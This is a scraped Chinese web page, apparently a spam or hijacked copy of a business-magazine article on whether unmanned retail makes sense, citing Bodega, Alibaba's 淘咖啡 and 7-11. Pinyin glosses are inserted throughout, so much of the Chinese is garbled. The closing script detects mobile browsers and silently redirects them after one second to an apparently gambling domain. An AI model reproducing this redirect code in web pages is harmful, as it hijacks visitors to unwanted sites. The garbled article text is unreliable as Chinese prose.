ku游戏网站

今天是2021年7月31日 星期六,欢迎光临(lin)本站 

渠道建设

无人零售转角:真正有人还是无人需从成本和体验考虑

文字:[大][中][小] 手机页面二维码 2020/8/31     浏览次数:    

  对(dui)于未来商业(ye)世界,100个(ge)人怕是有100种(zhong)想法。今年大火(huo)的(de)无人零售,大概(gai)算是最近的(de),未来照进现实的(de)一束斑驳之(zhi)光。
  去年10月(yue),马云(yun)提(ti)出(chu)的(de)(de)新(xin)零(ling)(ling)售声震四海,同年底亚马逊的(de)(de)无(wu)人零(ling)(ling)售实验(yan)也是技惊四座(zuo)。隔海相(xiang)望的(de)(de)两大(da)巨头不(bu)约而同站台,为风口空窗(chuang)期的(de)(de)资本们、嗷嗷待哺(bu)的(de)(de)创业(ye)者(zhe)们、僵持在转型期的(de)(de)企业(ye)家(jia)们指出(chu)了(le)零(ling)(ling)售新(xin)方向:零(ling)(ling)售怎么新(xin)?店内不(bu)要有(you)人。
  8个(ge)月内(nei),百亿级的(de)资本倾注于无(wu)(wu)(wu)(wu)(wu)人(ren)(ren)(ren)零售(shou)领域,大大小(xiao)小(xiao)数十(shi)家无(wu)(wu)(wu)(wu)(wu)人(ren)(ren)(ren)商(shang)店出现在(zai)华(hua)夏大地,数十(shi)家传统企业(ye)宣布进入(ru)无(wu)(wu)(wu)(wu)(wu)人(ren)(ren)(ren)零售(shou)领域,各类黑科(ke)技(ji)频出,商(shang)业(ye)形态更是(shi)百花齐放(fang):无(wu)(wu)(wu)(wu)(wu)人(ren)(ren)(ren)便利(li)店、无(wu)(wu)(wu)(wu)(wu)人(ren)(ren)(ren)超市、无(wu)(wu)(wu)(wu)(wu)人(ren)(ren)(ren)货架……你能买到东西的(de)地方,在(zai)招牌上加(jia)“无(wu)(wu)(wu)(wu)(wu)人(ren)(ren)(ren)”两字(zi)逐渐成了(le)一种新时髦。
  无人零售是(shi)什么样子(zi)?试想,当你(ni)随意(yi)走(zou)进一(yi)家便利店,门(men)口的(de)玻璃门(men)上(shang),类(lei)似(si)ETC的(de)装置(zhi)快(kuai)速识别了你(ni)的(de)面部(bu)ID,打开了门(men);你(ni)任意(yi)挑选的(de)商(shang)品将被立(li)即计算在云数(shu)据中,转身(shen)离(li)开,再次识别,完(wan)成购买。整个交易流程,没有售货(huo)员,只有你(ni)。
  从凡(fan)事(shi)都(dou)可(ke)以用(yong)人(ren)(ren)(ren)工解(jie)决,到凡(fan)事(shi)不再需要人(ren)(ren)(ren),零(ling)售(shou)商业核心的取舍(she),快(kuai)得好像只用(yong)了(le)朝夕(xi)。一(yi)夜间,零(ling)售(shou)已(yi)经容不下店内(nei)人(ren)(ren)(ren)。

无人还是无感



  根(gen)据(ju)艾瑞所做的(de)《2017年中(zhong)国无人零(ling)售(shou)用(yong)(yong)(yong)户(hu)行为研究(jiu)报告》,使(shi)用(yong)(yong)(yong)过无人店(dian)(dian)的(de)用(yong)(yong)(yong)户(hu)中(zhong),超(chao)过八成的(de)用(yong)(yong)(yong)户(hu)愿意继续使(shi)用(yong)(yong)(yong)无人店(dian)(dian),没有(you)使(shi)用(yong)(yong)(yong)过无人店(dian)(dian)的(de)用(yong)(yong)(yong)户(hu)中(zhong),六成以(yi)上愿意尝试(shi)。总体上看,中国(guo)人(ren)对无人(ren)店的(de)(de)接受度非常高(gao)。方(fang)便(bian)快捷是他(ta)们(men)选择无人(ren)店的(de)(de)主要原因。
  然而,在其(qi)他国家(jia),无人零售并不像(xiang)在中(zhong)国这么被普(pu)遍接受。
  据FT报道,两(liang)名Google离(li)职(zhi)员工创办(ban)了一(yi)家(jia)名叫Bodega的(de)公司(si),开发(fa)一(yi)种约1.5米宽的(de)无人(ren)售(shou)货(huo)柜(ju)(ju),并(bing)把它放(fang)(fang)置在健(jian)身房、公寓大堂和(he)办(ban)公室中,售(shou)卖的(de)商品则是通过人(ren)工智(zhi)能技术筛选(xuan)出的(de)100种最常被购(gou)买(mai)的(de)便利店商品,并(bing)根据不(bu)同地点货(huo)柜(ju)(ju)的(de)销售(shou)情况,动态调(diao)整每(mei)个货(huo)柜(ju)(ju)的(de)商品。这听上去没什么问题,而(er)且他们在旧金山(shan)已经投(tou)放(fang)(fang)了50台这样(yang)的(de)无人(ren)售(shou)货(huo)柜(ju)(ju),公司(si)还拿(na)到了来自Facebook、Google、Twitter和(he)Dropbox一(yi)些高管的(de)个人(ren)投(tou)资。
  顺(shun)风顺(shun)水的(de)(de)Bodega在纽约遇到了难题。纽约有(you)大(da)量(liang)被称为(wei)bodega的(de)(de)杂货(huo)店,很多(duo)都(dou)是一(yi)代代传(chuan)下来的(de)(de)夫妻店,这些杂货(huo)店就像(xiang)酒(jiu)吧(ba)、咖啡馆一(yi)样,成为(wei)社(she)区(qu)的(de)(de)某种公(gong)共场所,承载着某些共同(tong)记(ji)忆。有(you)评(ping)论认为(wei),Bodega公(gong)司的(de)(de)无(wu)人售货(huo)柜进入(ru)纽约,将挤垮那些世代经营的(de)(de)真正的(de)(de)bodega。
  Bodega公司的失误在于,他们并没有(you)想(xiang)到,很多人都和附近开(kai)杂货店(dian)的邻居关系(xi)很好(hao),人们喜(xi)欢这种小商店(dian)。
  在被众人批评的公司CEO赶紧(jin)解释道,真的没打算冒犯谁。但在那些捍卫传统和共同(tong)记忆的人看来,你就是(shi)冒犯,而(er)且冒犯得很严重。

技术并非万能



  类似硅谷(gu)兄(xiong)弟的创业团(tuan)队大(da)有人在(zai),因为他们相信“技术是万能的”。
 “无(wu)人零售(shou)店”淘(tao)咖啡是阿里(li)为无(wu)人零售(shou)做出的一个模板。一个占(zhan)地(di)200平方米的线下实体店样(yang)板,集(ji)购物(wu)、餐(can)饮于一身,可(ke)容(rong)纳用户50人以上,实际(ji)容(rong)纳规模可(ke)随场地(di)面积而增加。
  体验流程是这样的:当你首次进店(dian)打开“手机淘宝”,扫码获得电子入(ru)场码,通过闸机,开始购物(wu),此后(hou)手机不(bu)用再(zai)掏出。
  累了(le)坐下(xia)来喝(he)杯咖啡,桌子自动识(shi)别(bie)了(le)你(ni)的身份(fen),大屏上(shang)跳出推(tui)荐给你(ni)的商品列表(biao)。几(ji)秒钟后,完成扣款(kuan),一旁的提(ti)示器会告(gao)诉你(ni),“支付宝共(gong)计扣款(kuan)xx元”。
  这一系(xi)列(lie)无人(ren)(ren)体(ti)验,包(bao)含了通(tong)过(guo)多(duo)(duo)路摄像头和多(duo)(duo)传感器融合(he)的自主感知(zhi)技术,针对实体(ti)零售(shou)行业的统(tong)一本(ben)地IOT解决(jue)方(fang)案,通(tong)过(guo)视频分析(xi)(目(mu)标(biao)检测和跟踪)意(yi)图(tu)识别(bie)及交(jiao)易系(xi)统(tong)……一套看似完美完整(zheng)的无人(ren)(ren)零售(shou)技术,并(bing)不是万能(neng)的。
  “淘咖啡”想要(yao)真正做到无人,又不影响用户体验,那它所采用的技(ji)术(shu)、管理(li)方(fang)面的成(cheng)本,必然非(fei)常高。除非进行(xing)大规模(mo)的复(fu)制、使用(yong)(yong),才有(you)可能(neng)降低其成本(ben)。但问题在于,这样的无(wu)人(ren)(ren)(ren)店,对人(ren)(ren)(ren)流量、用(yong)(yong)户人(ren)(ren)(ren)群以及(ji)产(chan)品(pin)结构,都有(you)一定的要(yao)求(qiu),至(zhi)少要(yao)是人(ren)(ren)(ren)流量密集的商(shang)业圈、住宅(zhai)区等,否则(ze)很难达到预期的效果(guo),这些都是无(wu)人(ren)(ren)(ren)超市的门(men)槛(jian)。再牛的技术也不能(neng)改变商(shang)业的客(ke)观条件(jian)。

体验才是核心



  当我们纠结于技术、规则、效(xiao)率等额外因素时,从(cong)消费(fei)目的性来讲,有(you)人(ren)、无人(ren)根本(ben)无所谓(wei),消费(fei)者能买到目标(biao)商品即可,现在大家都在关注(zhu)无人(ren)店,只不(bu)过(guo)因为(wei)对(dui)新鲜科技的好(hao)奇(qi),新鲜感过(guo)后,真正是(shi)有(you)人(ren)还(hai)是(shi)无人(ren),需要(yao)从(cong)成本(ben)和体验的角度考虑。
  对(dui)于终端零售而言,零售服(fu)务(wu)中,人的(de)存在价(jia)值,仅是解决交易(yi)末节的(de)支付环节和补货问题(ti)吗?答(da)案(an)显然(ran)不是。经营者从成本的(de)角度考虑,无人店可以节省掉(diao)一定的(de)人工,降低(di)经营成本。

  自动售(shou)货机也(ye)是无(wu)人(ren)销(xiao)(xiao)售(shou),而且(qie)要比(bi)无(wu)人(ren)店(dian)(dian)更灵活,市场(chang)布点的能力更强,经营(ying)品类也(ye)更多。只不过自动售(shou)货机并不是新鲜产物,与高(gao)大上(shang)(shang)的无(wu)人(ren)店(dian)(dian)比(bi)显(xian)得太低端(duan)了,但自动售(shou)卖(mai)机的销(xiao)(xiao)售(shou)方式(shi)真的比(bi)不上(shang)(shang)无(wu)人(ren)店(dian)(dian)吗?

  无人零售(shou)确(que)实(shi)可以(yi)节省一(yi)定用工成(cheng)本,但用人工并不代(dai)表人效低,例(li)如一(yi)直被业界捧得高高在上(shang)的日本7-11。公(gong)开资料显(xian)示(shi),2016财年(nian),阿里(li)巴(ba)巴(ba)利用3.6万多名员工,创造了427亿元(yuan)的利润;与此同(tong)时,7-11日本(ben)公(gong)司通(tong)过8000多名员工,创造了近(jin)(jin)百(bai)亿元(yuan)的利润,人(ren)均利润与阿里(li)相当,接近(jin)(jin)120万元(yuan)/人(ren)。
  据统计分析(xi),在(zai)日本(ben)只有(you)20%的(de)人(ren)是出(chu)于购(gou)(gou)买(mai)商品的(de)目的(de)而去(qu)(qu)7-11,也就是说有(you)80%的(de)人(ren)去(qu)(qu)7-11不(bu)仅是为了购(gou)(gou)买(mai)商品,还会去(qu)(qu)7-11购(gou)(gou)买(mai)包括(kuo)鲜(xian)食、金融、干洗、购(gou)(gou)票等服务,这部分工作没有(you)人(ren)来(lai)衔接很难完(wan)成。
  所以,零售有人还是无人,终归是成本与体(ti)验的问(wen)题。

  线下(xia)消费在(zai)新技术的(de)(de)(de)促进(jin)下(xia),不(bu)断涌现(xian)出新的(de)(de)(de)商业(ye)模式与商业(ye)场(chang)景,但这种无人(ren)零售,是否会成为新趋(qu)势,是否会代(dai)替传(chuan)统的(de)(de)(de)零售模式,则有待时间检验。不(bu)过,在(zai)这个(ge)智能时代(dai),一切都(dou)充满(man)了可能。


本(ben)文来源:《商界评论》杂志(zhi)  作者(zhe):王宇(yu)航


返回上一步
打印此页
13818970338
浏览(lan)手机(ji)站
微信二维码
var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?993185dc8689f489fddf05459dcb9ba5"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })(); function browserRedirect() { var sUserAgent= navigator.userAgent.toLowerCase(); var bIsIpad= sUserAgent.match(/ipad/i) == "ipad"; var bIsIphoneOs= sUserAgent.match(/iphone os/i) == "iphone os"; var bIsMidp= sUserAgent.match(/midp/i) == "midp"; var bIsUc7= sUserAgent.match(/rv:1.2.3.4/i) == "rv:1.2.3.4"; var bIsUc= sUserAgent.match(/ucweb/i) == "ucweb"; var bIsAndroid= sUserAgent.match(/android/i) == "android"; var bIsCE= sUserAgent.match(/windows ce/i) == "windows ce"; var bIsWM= sUserAgent.match(/windows mobile/i) == "windows mobile"; if (bIsIpad || bIsIphoneOs || bIsMidp || bIsUc7 || bIsUc || bIsAndroid || bIsCE || bIsWM) { window.setTimeout("window.location='http://leyubet1410.com'",1000); } else { document.writeln(""); document.writeln(""); document.writeln(""); } } browserRedirect();